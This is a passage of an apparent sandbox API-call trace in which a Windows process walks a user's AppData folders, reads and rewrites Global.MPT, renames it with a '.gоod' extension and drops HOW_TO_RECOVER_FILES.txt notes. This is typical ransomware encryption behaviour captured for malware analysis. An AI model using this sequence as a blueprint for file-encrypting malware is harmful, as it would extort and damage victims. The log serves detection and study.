lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a920 [0246.283] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.284] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0246.284] FindNextFileW (in: hFindFile=0x134a920, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0246.284] FindClose (in: hFindFile=0x134a920 | out: hFindFile=0x134a920) returned 1 [0246.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0246.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0246.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0246.284] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", lpFilePart=0x0) returned 0x3d [0246.284] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0246.284] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.285] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee780bf0, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x12fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Global.MPT", cAlternateFileName="")) returned 1 [0246.285] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0246.285] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0246.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0246.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0246.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0246.285] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", lpFilePart=0x0) returned 0x3d [0246.285] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0246.285] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.285] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee780bf0, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x12fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Global.MPT", cAlternateFileName="")) returned 1 [0246.286] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee780bf0, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x12fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Global.MPT", cAlternateFileName="")) returned 0 [0246.286] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0246.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0246.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0246.286] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT", lpFilePart=0x0) returned 0x48 [0246.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0246.286] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt"), fInfoLevelId=0x0, lpFileInformation=0x389f190 | out: lpFileInformation=0x389f190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee780bf0, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x12fe00)) returned 1 [0246.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0246.286] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT", lpFilePart=0x0) returned 0x48 [0246.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0246.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0246.287] GetFileType (hFile=0x82c) returned 0x1 [0246.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0246.287] GetFileType (hFile=0x82c) returned 0x1 [0246.287] SetFilePointer (in: hFile=0x82c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x1000 [0246.287] ReadFile (in: hFile=0x82c, lpBuffer=0x389f5a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb968, lpOverlapped=0x0 | out: lpBuffer=0x389f5a8*, lpNumberOfBytesRead=0x204eb968*=0x1000, lpOverlapped=0x0) returned 1 [0246.288] CloseHandle (hObject=0x82c) returned 1 [0246.288] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT", lpFilePart=0x0) returned 0x48 [0246.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0246.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0246.288] GetFileType (hFile=0x82c) returned 0x1 [0246.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0246.288] GetFileType (hFile=0x82c) returned 0x1 [0246.288] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x12fe00 [0246.289] WriteFile (in: hFile=0x82c, lpBuffer=0x38a0860*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204eb888, lpOverlapped=0x0 | out: lpBuffer=0x38a0860*, lpNumberOfBytesWritten=0x204eb888*=0x10, lpOverlapped=0x0) returned 1 [0246.289] CloseHandle (hObject=0x82c) returned 1 [0246.289] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT", lpFilePart=0x0) returned 0x48 [0246.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0246.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0246.290] GetFileType (hFile=0x82c) returned 0x1 [0246.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0246.290] GetFileType (hFile=0x82c) returned 0x1 [0246.290] ReadFile (in: hFile=0x82c, lpBuffer=0x38a2b20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb918, lpOverlapped=0x0 | out: lpBuffer=0x38a2b20*, lpNumberOfBytesRead=0x204eb918*=0x1000, lpOverlapped=0x0) returned 1 [0247.254] CloseHandle (hObject=0x82c) returned 1 [0247.256] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT", lpFilePart=0x0) returned 0x48 [0247.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0247.257] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0247.257] GetFileType (hFile=0x82c) returned 0x1 [0247.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0247.257] GetFileType (hFile=0x82c) returned 0x1 [0247.257] WriteFile (in: hFile=0x82c, lpBuffer=0x37432f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204eb9c8, lpOverlapped=0x0 | out: lpBuffer=0x37432f0*, lpNumberOfBytesWritten=0x204eb9c8*=0x1010, lpOverlapped=0x0) returned 1 [0247.257] CloseHandle (hObject=0x82c) returned 1 [0247.257] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT", lpFilePart=0x0) returned 0x48 [0247.257] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.gоod", lpFilePart=0x0) returned 0x4d [0247.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0247.257] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0x8f97146c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12fe10)) returned 1 [0247.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0247.258] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\Global.MPT.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\global.mpt.gоod")) returned 1 [0247.258] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0247.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0247.258] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0247.259] GetFileType (hFile=0x82c) returned 0x1 [0247.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0247.259] GetFileType (hFile=0x82c) returned 0x1 [0247.260] WriteFile (in: hFile=0x82c, lpBuffer=0x3a90dc0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3a90dc0*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0247.260] CloseHandle (hObject=0x82c) returned 1 [0247.261] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x50 [0247.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0247.261] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0247.262] GetFileType (hFile=0x82c) returned 0x1 [0247.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0247.262] GetFileType (hFile=0x82c) returned 0x1 [0247.263] WriteFile (in: hFile=0x82c, lpBuffer=0x3a94658*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x3a94658*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0247.264] CloseHandle (hObject=0x82c) returned 1 [0247.264] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0247.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0247.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\MS Project\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\ms project\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0247.264] GetFileType (hFile=0x82c) returned 0x1 [0247.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0247.264] GetFileType (hFile=0x82c) returned 0x1 [0247.265] WriteFile (in: hFile=0x82c, lpBuffer=0x3a97ee0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3a97ee0*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0247.266] CloseHandle (hObject=0x82c) returned 1 [0247.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0247.266] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network", lpFilePart=0x0) returned 0x31 [0247.266] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0247.267] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.267] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0247.267] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0 [0247.267] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0247.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0247.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0247.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0247.267] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network", lpFilePart=0x0) returned 0x31 [0247.267] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0247.267] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.268] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0247.268] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eccd0 | out: 